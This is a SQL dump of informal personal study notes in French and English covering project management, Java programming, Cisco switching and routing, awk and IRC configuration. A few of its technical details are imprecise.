lg\nhttp://www.alticreation.com/integrateur-web/',NULL,NULL,'2015-02-09 16:17:54'),(614,'#scrum -steps *ifk','\nplanning joker\nbacklog\nsprint-0\nsprintXX\n',NULL,NULL,'2015-02-09 16:35:54'),(615,'#gp -prg #5','\ndefinition et concepts\ncycle de prj\ncadre logique d_un prj\nsuivi et evaluation d_un prj\nevaluation financiere d_un prj\n',NULL,NULL,'2015-02-09 20:29:49'),(616,'#gp -chap1 #5','\n+--------------------------------------+\n+--------------------------------------+\n|   chap1/5: definition et concepts    |\n+--------------------------------------+\n+--------------------------------------+\n|2/5cycle de prj                       |\n|3/5cadre logique d_un prj             |\n|4/5suivi et evaluation d_un prj       |\n|5/5evaluation financiere d_un prj     |\n+--------------------------------------+\n+--------------------------------------+\n\n1.1	definition du prj\n	c un action planifiee comprenant des activites coordonnee et inter-dependant\n	concus pour atteindre certains objectif specifique dans une periode limitee et avec un\n	budget determinee\n	un prj fait partie d_un action plus large en gl,\n	un prg de dev auquel il n\'apportera qu_une contribution\n\ndef du prg\n	un cadre coherant d_action visant a atteindre certains objectif globaux comprenant des ensembles\n	d_activitee groupee sous differente composante et orientee vers la realisation d_objectif\n	specifique: \n	par consequent, un prg consiste a intervenir sur une gd echelle qu_un prj\n	il peut donc inclure plusieurs prj dans les objectifs specifique lies a la realisation\n		d_objectif specifique com1\n\ncaracteristique d_un prj\n	complexite\n		un prj est complexe(ce qui ne veut pas obligatoirement dire compliquee),\n		l_objectif a atteindre peut etre le meme, car il va faire appel a des rsrc, des moyens,\n			des competences qui ne sont pas placee sous une meme autoritee et qu_il va \n			falloir coordonnee a fin que leurs actions concourent ensemble a l_atteint\n			de meme objectif\n	unicite\n		il m_y a pas de prj identique. ils peuvent se ressembler, l_objectif a atteindre\n			peut_etre le meme. tout comme l_objet ou le resulltat du prj. \n			il y a tjr de difference dans les details, environment, ...\n\n+--------------------------------------+\n|1/5: definition et concepts           |\n+--------------------------------------+\n|chap2/5cycle de prj                   |\n+--------------------------------------+\n|3/5cadre logique d_un prj             |\n|4/5suivi et evaluation d_un prj       |\n|5/5evaluation financiere d_un prj     |\n+--------------------------------------+\n+--------------------------------------+\n\nles etapes\n',NULL,NULL,'2015-02-09 20:49:08'),(617,'#gp #5 -chap2','\n+--------------------------------------+\n|1/5: definition et concepts           |\n+--------------------------------------+\n|chap2/5cycle de prj                   |\n+--------------------------------------+\n|3/5cadre logique d_un prj             |\n|4/5suivi et evaluation d_un prj       |\n|5/5evaluation financiere d_un prj     |\n+--------------------------------------+\n+--------------------------------------+\n\n\nles etapes du projet\n                              +----------------+\n          +-----------------> | identification +------+\n          |                   +----------------+      v\n          |                             +----------------------+\n +--------+-----+                       |preparation et analyse|\n |  evaluation  |                       +------------+---------+\n |retrospective |                                    v\n +--------+-----+                       +--------------------+\n          ^                             |evaluation anterieur|\n          |      +------------------+   +-----------+--------+\n          +------+  mise_en_oeuvre  |<--------------+\n                 +------------------+\n\nla maniere dont un prj est executee suit en gl un ordre logique\nil y a differents facons de diviser les cycles du prj\nici, on l_a fait suivant le schema precedemment\n\n\nidentification du prj\n	on decouvre d_abord les prj potentiel\n	les suggestions peuvent subvenir d_une infinite d src\n	les responsabilitees locaux recoivent en gl un certain nb de suggestion pour emploier\n		un eventuel des fond d_investissmt\n\nex de fiche d_identification:\n+----------------------------------------------------------+\n|                         fiche d_identification           |\n+----------------------------------------------------------+\n|       intitule du prj:                                   |\n|       zone du prj:                                       |\n|       objectif:                                          |\n|       composant du prj:                                  |\n|         plan                                             |\n|         formation techniciens                            |\n|         installation du gp electrogene                   |\n|       financemt(cout du prj)                             |\n|                                                          |\n+----------------------------------------------------------+\n	un proposition d_extension de prg existant constitue egalmt\n		une src d_idee pour de nouveau prj\n	la plupart du pays en dev possedent de plan de dev etablit et qui donne le secteur\n		en zone prioritaire ou ils seraient necessaire d_investir\n	souvent, au cours de preparation de plan de dev eco, un certain nb de suggestion\n		precise concernant des prj proviennent des organismes responsables de l_exe\n		du prj.\n\n\npreparation et analyse\n	le prj peut-ê preparer par une equipe de consultant ou organisme d_assistance technk\n	une fois que les prj ont ete identifies, on commence la mise en place des mecanisme de \n		preparation et d_analyse progressive plus detaillee des plans de prj. a la premiere\n		demarche dans la preparation et l_analyse d_un prj consiste a entreprendre une \n		__etude de la faisabilite__ (technique, financiere, eco, ...)\n		qui fournira assez de renseignemt pour deider si l_on peut ou non realiser le prj\n		l_etude de faisabilite depictera que peut_etre on doit changer le prj par une autre\n			pour parvenir au meme objectif\n\n		au premier stade, on devra recouvrir en modele d_analyse financiere et economique\n		mais cela devra etre fait apres avoir fait l_etude de faisabilite(analyse_techn plus\n			precisemt)\n		apres cela vient l_etude detaillee(1 a 2 ans environ)\n		un plan de prj detaillee prend 7 a 10% du financement|investissmt total du prj\n\n\n\nevaluation anterieur(evaluation ex-ante)\n	apres tout les stades prec, on passe a l_examen critique, la facon indepdt, des res obtenus\n	ceci fournit l_occasion de revoir chq aspect du plan du prj pour verifier si la proposition\n		est convenable avant d-engager des sommes importants\n	le processus d_evaluation peut inclure des nouvelles information \n	##complete_here##\n	si le l_analyste des imperfections, l_analyste peut modifier le plan\n	si le prj est financee par des organismes internationales, l_investisseur dmdera\n		une evaluation plus approfondie\n\ncont(cahier: gp_p5)\n',NULL,NULL,'2015-02-09 21:20:56'),(618,'#network -class','\n    Class A addresses begin with 0xxx, or 1 to 126 decimal.\n    Class B addresses begin with 10xx, or 128 to 191 decimal.\n    Class C addresses begin with 110x, or 192 to 223 decimal.\n    Class D addresses begin with 1110, or 224 to 239 decimal.\n    Class E addresses begin with 1111, or 240 to 254 decimal.\n',NULL,NULL,'2015-02-09 22:27:40'),(619,'#linux -checksum -sha1','sha1sum file00',NULL,NULL,'2015-02-09 23:12:02'),(620,'#linux -checksum -md5','md5sum file00',NULL,NULL,'2015-02-09 23:13:40'),(621,'#cisco *switch -dtp -show','\nsw# show dtp -- not in conf mode, it is in privileged mode\n',NULL,NULL,'2015-02-09 23:44:26'),(622,'freebsd md5','\nMD5 (FreeBSD-10.1-RELEASE-i386-bootonly.iso) = 369c3dfc8d8bc6161f394953dbe92497\nMD5 (FreeBSD-10.1-RELEASE-i386-bootonly.iso.xz) = 93781f084413d19aaeecb0911b458872\nMD5 (FreeBSD-10.1-RELEASE-i386-disc1.iso) = 75c7c7ed926e4c01e015a6ea917532ed\nMD5 (FreeBSD-10.1-RELEASE-i386-disc1.iso.xz) = a3d223463f7461edfe333b0d6bc3416c\nMD5 (FreeBSD-10.1-RELEASE-i386-dvd1.iso) = 55c73545418628e84e3571cc5842b72d\nMD5 (FreeBSD-10.1-RELEASE-i386-dvd1.iso.xz) = 14e7a3fe085a74717957aa6ae28d4328\nMD5 (FreeBSD-10.1-RELEASE-i386-memstick.img) = 20a8b7a731192f85ab40802ceb2b3927\nMD5 (FreeBSD-10.1-RELEASE-i386-memstick.img.xz) = 659f8d731c1eeb766a8048fad1832629\nMD5 (FreeBSD-10.1-RELEASE-i386-mini-memstick.img) = 7186991a4c4a7b040e75c1483c94d417\nMD5 (FreeBSD-10.1-RELEASE-i386-mini-memstick.img.xz) = c193ff5de9fd91b556ca75f7cf65d316\n',NULL,NULL,'2015-02-10 01:13:40'),(623,'#cisco -dtp -intro','\nu should be able to do this next schema:\n                                                                       +-------+----+\n                  +----------------+                  +----------------+       |pc03| 1.101\n                  | sw01_2960-24tt +-0/1-----------0/1+ sw02_2960_24tt |       +----+\n         +--------+---+------------+                  +----------------+\n    +----+            |                                                |       +----+ \n    |pc01|            |                                                +-------+pc04|\n    +----+         +--+-+                                                      +----+\n     1.100         |pc02|                                                         20.101\n                   +----+\n                     20.100\n\ndtp is a protocol owned by cisco\ndtp works if only there are 2sw of  cisco\ndtp is enabled by default in cisco sw\nby default all ports of the sw are in dynamic_auto_mode\n	there are 4types of mode in sw of cisco:\n		access\n		trunk\n		dynamic auto\n		dynamic desirable\nall ports except(20.100 & 20.101) are in vlan1\n	even if 0/1 are in vlan1\n\nif there is dtp, u don_t have to modify the 0/1 to trunk_mode to allow the trunk_protocol in 0/1\n\nto change fa0/1 to dynamic_auto_mode:\n	gp tp fa0/1\n\n\n	port_mode | access	 |  trunk	  | dyn_auto  | dyn_desirable\n--------------+----------+------------+-----------+--------------------\n	access	  | access	 |  not_todo  | access	  | access\n--------------+----------+------------+-----------+--------------------\n	trunk	  | not_todo |  trunk	  | trunk	  | trunk\n--------------+----------+------------+-----------+--------------------\n	dyn_auto  | access	 |  trunk	  | access	  | trunk\n--------------+----------+------------+-----------+--------------------\n	dyn_desir | access	 |  trunk	  | trunk	  | trunk\n               \nto change fa0/1 to access_mode\n	go to fa0/1 \n	sw(conf-if)# switchport mode access \n\nto change fa0/1 to trunk mode\n	go to 0/1\n			   # switchport mode trunk\n\nto change to dynamic_desirable_mode\n	go to the int\n	sw(conf-if)# switchport mode dynamic desirable\n\nto change to dynamic_auto_mode\n	got the interf\n			   # switchport mode dynamic auto\n',NULL,NULL,'2015-02-10 01:31:45'),(624,'#linux *awk -workflow -introduction','\nhttp://www.tutorialspoint.com/awk/awk_workflow.htm\n\n                        +--------------+      awk reads line from input_stream (file, pipe, stdin)\n                        | exe awk from |          and store in the memo\n                        |  begin_block |\n                        +--------+-----+\n                                 v\n                       +-----------------+\n              +----->>>|read a line from |\n              |        |   input_stream  |\n              |        +--------+--------+\n              |                 v\n              |       +--------------+\n              |       | exe awk cmd  |\n              |       |  on a line   +----+\n              |       +--------------+    |\n              |       +----------------+  |\n              |       | repeat if not  |  |\n              |       |    eof         +-<+\n              |       +--------+-------+  \n              +----------------|\n                               v\n                      +----------------+\n                      | exe awk from   |\n                      |   end_block    |\n                      +----------------+\n\n\n==========================================\nlet_suppose marks.txt is like this:\n\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\nlet_s exe the next_cmd:\n	awk \'BEGIN{printf \"Sr No	Name	Sub	Marks\n\"} {print}\' marks.txt\nout:\nSr No Name     Sub        Marks\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n',NULL,'\nhttp://www.tutorialspoint.com/awk/awk_workflow.htm\n\n                        +--------------+      awk reads line from input_stream (file, pipe, stdin)\n                        | exe awk from |          and store in the memo\n                        |  begin_block |\n                        +--------+-----+\n                                 v\n                       +-----------------+         the exe of awk will be done line by line\n              +----->>>|read a line from |         the exe will stop when the awk reached the eof\n              |        |   input_stream  |\n              |        +--------+--------+\n              |                 v\n              |       +--------------+\n              |       | exe awk cmd  |\n              |       |  on a line   +----+\n              |       +--------------+    |\n              |       +----------------+  |\n              |       | repeat if not  |  |\n              |       |    eof         +-<+\n              |       +--------+-------+  \n              +----------------|\n                               v\n                      +----------------+          when the eof is reached, an end_block will be exe\n                      | exe awk from   |\n                      |   end_block    |\n                      +----------------+\n\n\nstructure of awk:\n    begin block\n    body block\n    end block\n\n==========================================\nlet_suppose marks.txt is like this:\n\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\nlet_s exe the next_cmd:\n	awk \'BEGIN{printf \"Sr No\\tName\\tSub\\tMarks\\n\"} {print}\' marks.txt\nout:\nSr No Name     Sub        Marks\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\n','2015-02-16 18:55:28'),(625,'#java -collection-algorithme -intro -long-list','\n\nla majorite se trouve dans\n    java.util\n    \nvoici une sorte d_hierarchie\n  +----------------+                       +---------------+\n  | <<interface>>  |                       |<<interface>>  |\n  | Collection     |                       |Map            |\n  +----------------+                       +---------------+        <-+\n  |                |    <----+             |               |          |\n  +----------------+         |             +---------------+          |    \n                             |                                        |\n               ^             |                                        |\n               |             |                       +----------------+--+\n  +------------+---+     +---+-------------+         | <<interface>>     |\n  | <<interface>>  |     |  <<interface>>  |         | SortedMap         |\n  | List           |     |  Set            |         +-------------------+\n  +----------------+     +-----------------+         |                   |\n  |                |     |                 |         +-------------------+\n  +----------------+     +-----------------+\n\n                             ^\n                             |\n                       +-----+-----------+\n                       |<<interface>>    |\n                       |SortedSet        |\n                       +-----------------+\n                       |                 |\n                       +-----------------+\n\nle sd en java:\n	les vecteurs dynamiques, \n	les ensembles, \n	les listes chaînées, \n	les queues et les\n	tables associatives.\n\nles classes relatives \n	aux vecteurs (vct dyn implementer par ArrayList et Vector) \n	aux listes, (implementer par LinkedList)\n	aux ensembles (implementer par HashSet, TreeSet)\n	aux queues ( avec priorites( PriorityQueue ) )\n		( a double_entree( ArrayDeque ) )\nimplémentent une même interface\nc_est l_interface Collection\n\nvoici des opérations qui leur sont communes : \n	ajout ou suppression d’éléments, \n	construction à partir des éléments d’une autre collection\n\nvoici qlq algo:\n	recherche de max et min sur les collections\n\nil y a aussi autres types de collection ( tables_associative qui implemente interf(Map))\n\n\nles collections sont manipulees par des classes generiques\n	syntaxe: Collection<E>\n	ex	: LinkedList<String>\n\n\nCollection<E>\n    donc les elts contenues dans cette collection sont de type\n        E\n        derive de E\n##end_this\n',NULL,NULL,'2015-03-12 06:17:37'),(626,'#java -comparable -intro','\ncertains_collections, sont _dépourvues_ d’un quelconque ordonnancement de leurs éléments\n	on classe les elts à partir de leur valeur\n	alors ces collections implementent l_interface __Comparable<E>__\n		la meth tres utilisee est _compareTo_\n			public int compareTo (E o) // E etant la classe qui contient cet meth\n				négatif si l’on considère que l’objet courant est \"inférieur\" à l’objet o\n				nul si l’on considère que l’objet courant est égal à l’objet o\n				positif si l’on considère que l’objet courant est \"supérieur\" à l’objet o\n				\'\n				il faut bien faire ce qui suit:\n					si o1 < o2 et si o2 < o3, il faut que o1 < o3\n\nString, File, classes_enveloppes(Integer, Float, ...) implementent l_interf_Comparable\n	donc dispose de meth_compareTo\n		cette meth permet la classification naturelle\n			ordre lexicographique pour les chaînes\n			ordre numérique pour les classes enveloppes numériques\n\nil se peut que la classe n_implemente pas Comparable, or c_est une classe predefinit\n	pour faire comparaison, on a besoin de interf_Comparator\n		public int compare (E o1, E o2)\n			// E etant la classe qui le contient\n			ret négatif si l’on considère que o1 est inférieur à o2\n			ret nul si l’on considère que o1 est égal à o2\n			ret positif si l’on considère que o1 est supérieur à o2\n\n',NULL,NULL,'2015-02-10 16:34:06'),(627,'#java -vector_dynamique -intro','\nles éléments sont naturellement ordonnés suivant l’ordre dans lequel ils ont été disposés.\n',NULL,NULL,'2015-02-10 16:34:18'),(628,'#java -linked_list -intro','NULL',NULL,'\nList l = new LinkedList();\nl.add(12);\nl.add(\"toto ! !\");\nl.add(12.20f);\n\nl.size();\nfor..\n    l.get(i);\n\npour lister linkedlist, on peut utiliser interface \"Iterator\"\n','2015-03-10 03:20:33'),(629,'#java -class_point',NULL,NULL,'\npublic class Point{ \n	public void initialise (int abs, int ord){ \n		x = abs ;\n		y = ord ;\n	}#end_initialise\n\n	public void deplace (int dx, int dy){ \n		x += dx ;\n	y += dy ;\n	}#end_deplace\n	\n	public void affiche (){ \n		System.out.println (\"Je suis un point de coordonnees \" + x + \" \" + y) ;\n	}#end_affiche\n	\n	private int x ; // abscisse\n	private int y ; // ordonnee\n\n\n	public boolean coincide (Point pt){ \n		return ((pt.x == x) && (pt.y == y)) ;\n	}\n\n\n	public static boolean coincide (Point p1, Point p2){ \n		return ((p1.x == p2.x) && (p1.y == p2.y)) ;\n	}#end_meth_static_coincide\n\n} #end_class_point\n\n\n','2015-02-10 17:40:58'),(630,'#java -compil-run','\nin Hello.java\n	public class Hello{\n		public static void main(String[]args){\n			System.out.println(\"this is a test of java\");\n		}\n	}\n\ncompil it with:\n	javac Hello.java\n	# now you have an esecutable java which is called:\n	#	Hello\nrun\n	java Hello\n	out:\n		this is a test of java\n\nthis is a bash in which u can compile and run a java_prg\n    java_c_r() {\n        javac \"$1\"\n        java \"${1/.java/}\"\n    }\n',NULL,NULL,'2015-03-07 16:29:41'),(631,'#guava -introduction','Guava is an open source, Java-based library and contains many core libraries of Google\n	 helps reduce coding errors\n',NULL,NULL,'2015-02-10 18:11:26'),(632,'#java -thread -intro',NULL,NULL,'\n                +----------+             +----------+                     +---------+\n                | thread01 +----+----->>>| thread02 +------.......--->>>>>+etc......|\n                +---+------+    |        +-+--------+          |          +---------+\n                    |           |          |                   +----+\n--------------------+           |          +---------------------+  |\nclass01 entretient  |           |          |   class02 entretient|  |\nmeth_main           |           |          |       meth_main     |  |\n           ---------+ +---------+---------+                         |\n                      |   class01 passe   |                         |\n                      |meth_main a class02|                +--------+--------+\n                                                           |et ainsi de suite|\n                                                           +-----------------+\n\n\nil y a 2 facons de faire les thread:\n    avec extends Thread\n    avec implements Runnable\n\npossible d_interrompre des threads, on parle de thread demons\n\nthread possede des etats\n\npossible de passer des arguments entre thread\n\n\nqu_on a affaire a des thread\n    il est tres souvent de faire affaire avec try{}catch{}','2015-03-07 23:28:49'),(784,'#java -exception -intro',NULL,NULL,'\nMême lorsqu’un programme est au point, certaines circonstances exceptionnelles peuvent                                                                                      [6/1370]\n    compromettre la poursuite de son exécution, comme l_insertion des donnees incorrect\n\nclass Point{ \n                                                                                 +---- attention ici il y a \"s\"\n    private int x, y ;                                                           |        avec throws\n                                                                                 |\n    public Point(int x, int y) throws ErrConst{   <<<<<<<<<<<<<<<<<<-------------+\n        if ( (x<0) || (y<0)) throw new ErrConst() ;                                             <<<<<<+\n        this.x = x ; this.y = y ;                                                                     |(ici, throw\n    }                                                                                                 |  ne possede\n                                                                                                      |  pas de \"s\"\n    public void affiche(){                                                                            |\n        System.out.println (\"coordonnees : \" + x + \" \" + y) ;                                         |\n    }                                                                                                 |\n}                                                                                                     |\n                                                                                                      |\n            class ErrConst extends Exception { }                                                      |\n                                                                       +--- lors de la creation de    |\n            public class Except1 {                                     |      l_obj, on a ceci -------+\n\n                public static void main (String args[]) { +-- ceci est |      donc ici est exe -+\n     +------>>>     try {                                 |     normal |                        |\n  a ne pas oublier      Point a = new Point (1, 4) ;    --+            |                        |\n   car Point lance      a.affiche() ;                   --+            |                        |\n   ErrConst             a = new Point (-3, 5) ;         ---------------+                        |\n     |                  a.affiche() ;                   ---------------+-                       |\n     |              }                                                                           |\n     +---->>>>>     catch (ErrConst e) {                                              --+<<<<<--+\n                        System.out.println (\"Erreur construction \") ;                   |\n                        System.exit (-1) ;                                            --+\n                    }\n                }\n            }\nil est possible de faire plusieurs \n    catch ( Exception00 exc )\n\n\n\n\non peut passer des valeurs aux exceptions\n    public Point(int x, int y) throws ErrConst { \n        if ( (x<0) || (y<0)) throw new ErrConst(x, y) ;\n        this.x = x ; this.y = y ;               |-+-|\n    }                                  |          |\n                                       |          +------ mila mtandrina eto an !\n                                       |-----+------|\n                                             +--------+\n    class ErrConst {                                  |\n        public ErrConst(int x, int y){ ... }      <<<<+\n    }\n\n\n','2015-02-22 00:48:46'),(634,'#java -garbage_collector',NULL,NULL,'\njava creee des objets grace a new\npour detruire les objets, java le fait tout seul grace a\n	garbage_collector\njava connait tjr le nbr d_objet qui est referencee a une classe\n	lorsque tout les objets sont tous supprimes, alors on peut liberer les rsrc qui \n		lui a ete destinee(fichier, memo, ....)\ngarbage_collector s_active que lorsque le memo se commence a se faire rare\n','2015-02-10 18:35:37'),(635,'#java -argument -par-valeur -fonction',NULL,NULL,'\nlors de passage d_un param a une fonction,\n	cette param est passee par valeur,\n	ie, l_objet passee en param est copiee puis utilisee par la fonction\n','2015-02-10 18:35:37'),(636,'#java -general -class',NULL,NULL,'\nif a file is called Hello.java\n	then it MUST have a class like this next:\n		public class Hello{ ... }\n','2015-02-10 18:35:37'),(639,'#java -extends_thread -example -intro',NULL,NULL,'\npour afficher:\n	10 fois \"bonjour\" pour le premier thread,\n	12 fois \"bonsoir\" pour le deuxième thread,\n\nkinda sumup\n    extends Thread:             // a type to create a class which the obj is a thread\n        public void run(){}     // this will be run by the obj thread\n        thread00.start();       // we start to exe the thread\n\nclass Ecrit extends Thread{                    --+\n    public Ecrit (String texte, int nb){         |\n        this.texte = texte ;                     +-on _definit_ ce que \n        this.nb = nb ;                           |    le thread fait\n    }                                            |\n    public void run (){                          |\n        for (int i=0 ; i<nb ; i++)               |\n        System.out.print (texte) ;               |    +--+---\n    }                                         --+    |  | on creee les objets_thread\n                                                     |  | ici on a cree 2threads\n    public static void main(String[]args){           |\n        Ecrit e1 = new Ecrit (\"bonjour\", 10) ;      -+\n        Ecrit e2 = new Ecrit (\"bonsoir\", 12) ;      -+\n\n        e1.start();         // on execute le thread e1\n                               -------++++++++++-------\n        e2.start();\n    }\n}\n','2015-02-10 18:48:35'),(640,'#java -intro-graphique -swing long-list','',NULL,'\nles composants swing se trouve dans\n        javax.swing\n\npour donner un titre au frame00\n        frame00.setTitle(\"title00\");\n\npour donner taille a la fenetre:\n        frame00.setSize(x, y);\nceci peut etre changer par frame00.setBounds(x00, y00, xHorz, yVert);\n\npar default les frame00 sont en coin gauche_haut si on ne definit pas sa place\n		frame00.setBounds(x00, y00, xHrz, yVert);\n		alors le frame va se placer dans coordonnee(x00, y00)\n        par consequent on ne met plus le\n                frame00.setSize(xHorz, yVert);\n                parce_que il y a deja xHrz et yVert de setBounds\n\npour que frame00 soit visible\n        ifk: ceci doit etre par la ou´ tout les elts du frame00 sont en place\n        \'\n        frame00.setVisible(true);\n\npour arreter le prg qd on clicke sur [fermer]\n        frame00.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n\nexemple tres simple de graphique:\n        public static void main(String[]args){\n                JFrame frame00=new JFrame();\n                frame00.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n                frame00.setTitle(\"title00\");\n                frame00.setSize(300, 100);\n                frame00.setVisible(true);\n        }\n\n','2015-02-11 15:38:39'),(641,'#java -intro-graphique -swing',NULL,NULL,'\nqd on commence avec swing du java:\n	il y a une classe00 qui herite de JFrame et qui implements( MouseListener, ... )\n	il y a les objets(JButton, JCheckBox, ...) qui sont\n		champs de classe00(qui a extends JFrame)','2015-02-11 14:37:16'),(642,'#java -jframe -intro -add-component -gpn',NULL,NULL,'\npour ajouter des elements dans frame00\nil faut le mettre dans container00 qui est dans frame00\n	Container container00=frame00.getContentPane();\nex pour ajouter bouton dans frame00\n\npublic class Frame extends JFrame{\n	Frame(){\n		...\n		JButton jbutton=new JButton(\"button01\");\n		Container container=getContentPane();\n		container.add(jbutton);\n		...\n	}\n}                             +- classe qui extends JFrame et implements (MouseListener, ActionListener.....)\n                              |\nsouviens que:                 |\n         +--------------------+--+\n         |   Frame00       <<<+  |\n         +-----------------------+    -+\n         |      JButton00        |     |\n         |      JRadioButton00   |     +--champs qui sont des composants_graphique\n         |      ......           |     |\n         +-----------------------+    -+\n         |      meth01()         |\n         |      meth02()         |\n         +-----------------------+\n\n\n\nqui dit jframe dit:\n	layout\n	setVisible(true)\n#end_jframe_to_remember','2015-03-03 08:51:48'),(645,'#mgt -styles by-kurt_lewin','\nautoritaire\n	s_applique: _mieux_ qd leader est plus competent que les membres de l_equipe\n	  qd le tps est limitee\n	on donne des explications _tres_precises_ sur ce qu_il faut faire, en dependant du tps\n\ndemocratique\n	leader partage les taches entre gp\n	le leader prend des decisions en s_appuiant sur des gp\n	\nlaissez-faire ou delegatif\n	efficace qd les membres du gp sont _tous_tres_ qualifiee_\n	les membres posent bcp des questions sur le leader \n',NULL,NULL,'2015-02-12 02:33:05'),(646,'#mgt -leadership -style by-likert','\nexploiteur:\n	autoritaire et on manipule avec peur\n\npaternaliste:\n	leader promet plus qu_il n_agit\n\nconsultatif:\n	leader consulte ses emploies\n	communication va en deux sens\n\nparticipatif:\n	les individus participent aux décisions par groupe\n	communication se fait en 2sens\n',NULL,NULL,'2015-02-12 02:39:53'),(647,'#mgt -mbo -peter-drucker','\nmbo = mgt by objectif\nles individus ont un objectif commune, qui etablit le travail d_equipe, \n	et harmonisw les interet personnels\nils font des travaux _librement_ avec leurs propres energies\n',NULL,NULL,'2015-02-12 02:45:09'),(648,'#irc-server -msg',NULL,NULL,'/msg MemoServ READ NEW\n	I got one msg from irc_server\n	use that cmd to read it','2015-02-12 03:40:36'),(649,'#irc -config -introduction','\nthe configuration of /root/.irssi/config is like the next:\n	servers = (\n		...\n	)\n	\'\n	chatnets = {\n		...\n	}\n	channels = {\n		...\n	}\n	aliases = {\n		...\n	}\n	statusbar = {\n		...\n	}\n	settings = {\n		...\n	}\n',NULL,NULL,'2015-02-12 03:47:36'),(650,'#irc -change-pseudo on-irc-server','\nthis is the situation:\n	u are already registered to irc-server w/(old_pseudo) but u want to change the pseudo \n		in which u set when u register\n	ie:\n		change /msg nickserv old_pseudo pass00\n		to     /msg nickserv new_pseudo pass00\n\nfirst you have to add the new_pseudo to your gp\n	set your nick to new_pseudo: /nick new_pseudo\n	add it to your group: /msg nickserv group\n\nchange the nick in irc_server:\n	/msg nickserv set accountname \n\nit was sth like that, but I don_t really remembered it\n',NULL,NULL,'2015-02-12 05:32:09'),(651,'#irssi -version',NULL,'\nirssi --version\nirssi -v',NULL,'2015-02-12 05:33:43'),(652,'#java -jframe -intro-layout -memo -gpn','\n/*\n *cree class ext jfr implements ActionListener\n	chp: button\n	constructeur:\n		tiitle, bounds, click_close\n		instance button\n                mettre le frame au milieu\n                    (setLocationRelativeTo(null))\n		getContainer into container\n		container00: add layout\n		add button into the container\n		add button into action listener\n		setVisible(true)\n	actionperformed():\n		sop(\"button_clicked\")\n */ \n',NULL,NULL,'2015-03-03 08:54:23'),(653,'#java -intro-layout',NULL,NULL,'\n#start_borderlayout\n\n\n+----------------------------------------------------------------------------+\n|jframe                                                                      |\n+----------------------------------------------------------------------------+\n|                               buttonUp                                     |\n+---------------------+--------------------------------+---------------------+\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|      buttonLeft     |           buttonCenter         |    buttonRight      |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n+---------------------+--------------------------------+---------------------+\n|                              buttonDown                                    |\n+----------------------------------------------------------------------------+\n\n#end_borderlayout\n\nflowlayout\nconsiderer comme la plus simple a utilisee\nsera utilisee pour mes tests\n\nles composants seront placee ligne par ligne\n	quand ligne est plein, on passe a la ligne suivant\n+---------------------------------------+\n| jframe                                |\n+---------------------------------------+     +-- lg par lg, qd la lg est\n| +------------+     +----------+       |   --+      plein, alors on passe\n| |  button01  |     | button02 |       |     |      a la lg suiv -+\n| +------------+     +----------+       |   --+                    |\n| +------------+     +----------+       |                ---+      |\n| |  button03  |     | button04 |       |                   +------+\n| +------------+     +----------+       |                ---+\n|                                       |\n+---------------------------------------+\n\n+--------------------+\n| jframe             |\n+--------------------+\n| +------------+     |\n| | button01   |     |\n| +------------+     |\n| +------------+     |\n| | button02   |     |\n| +------------+     |\n| +------------+     |\n| | button03   |     |\n| +------------+     |\n+--------------------+ \n\n#end_flowlayoutt\n\ncardlayout\n#end_cardlayout\n\ngridlayout\n#end_gridlayout\n\nboxlayout\n#end_boxlayout\n\ngridbaglayout\n#end_gridbaglayout\n\ngrouplayout\n#end_grouplayout\n','2015-02-18 16:02:43'),(654,'#irc -emoticon','\n:**:		Returning Kiss\n:I		Hmmm...\n:(		Frown\n>:(		Angry Frown\n:[		Real Downer\n:-<		Forlorn\n:x		My lips are sealed\n:-o		Oh, nooooooo!\n:-!		Foot in mouth - oops!\nP*		French Kiss\nO:)		Angel\n}:[		Angry, frustrated\n[:-|		Frankenstein\n^5		High Five!\n(.. ) ( ._.) ( \'\') ( \':\' )		searching\n\n',NULL,NULL,'2015-02-12 09:31:10'),(655,'#prolog -install',NULL,NULL,'\nto install prolog\n	apt-get install swi-prolog\nto run prolog\n	swipl\n	and you will be redirected in the prompt of prolog\n		?-\n\n\n','2015-02-13 21:11:56'),(656,'#cisco -prompt-mode',NULL,NULL,'\nsimple_user mode:\n	router>\n	switch>\n\nprivileged mode: \n	got from: router|switch> enable\n	that how it looks like\n		router#\n		switch#\n\nconfiguration mode\n	got from: router|switch# configuration terminal\n	this how it looks like:\n		router(config)#\n		switch(config)#\n','2015-02-12 15:39:13'),(657,'#cisco -simple_user_mode *router',NULL,NULL,'\nnote that u are in console virtual communication with a router\nthose what u can do with simple_user mode on that situation:\n	enable: turn to privileged_mode\n	telnet: \n	ssh\n	connect\n	disable\n	disconnect\n	exit\n	logout\n	ping\n	show\n	terminal\n	traceroute\n','2015-02-12 18:21:02'),(658,'#cisco -change-name -hostname-rename',NULL,NULL,'\nrouter(config)# hostname router01\n','2015-02-15 12:01:05'),(659,'#cisco *router -save-conf',NULL,NULL,'\nu have to go to privileged mode\nrouter# copy running-config startup-config\n	                        |-+----------|\n                              +>> ifk: this is the name of the conf_file\n	the configuration file will be saved in the ram of the router\n		or in the nvram\n  u will be redirected where u have to set the name of the conf in the router\n\n\n\n','2015-02-12 18:21:02'),(660,'#cisco -check-version_of_router',NULL,NULL,'\nshow running-config\n','2015-02-12 18:21:02'),(661,'#cisco -virtual-connection+check_pass *router from-pc',NULL,NULL,'\n                                +------------+  +--+---------------------+\n                                |console_link|  |  |that is virtual      |\n       +----++-----------+------+------------+--+  |   console_connection|\n       | pc ||           |                         +---------------------+\n       +----+|           ++-------------+\n             |           ||routerGeneric|\n +---------+ |           |+-------------+\n |rs232Port+-+           |\n +---------+             |\n                         |\n                  +------+-----+\n                  |console_port|\n                  +------------+\n\nifk: virtual connection on router is \n\n                 |-- the connection to this router will be into the console_port of the router but not in fa\n    pc <--+---> router\n    |     +-- the console_link\n    +-- connected on rs232 but not in 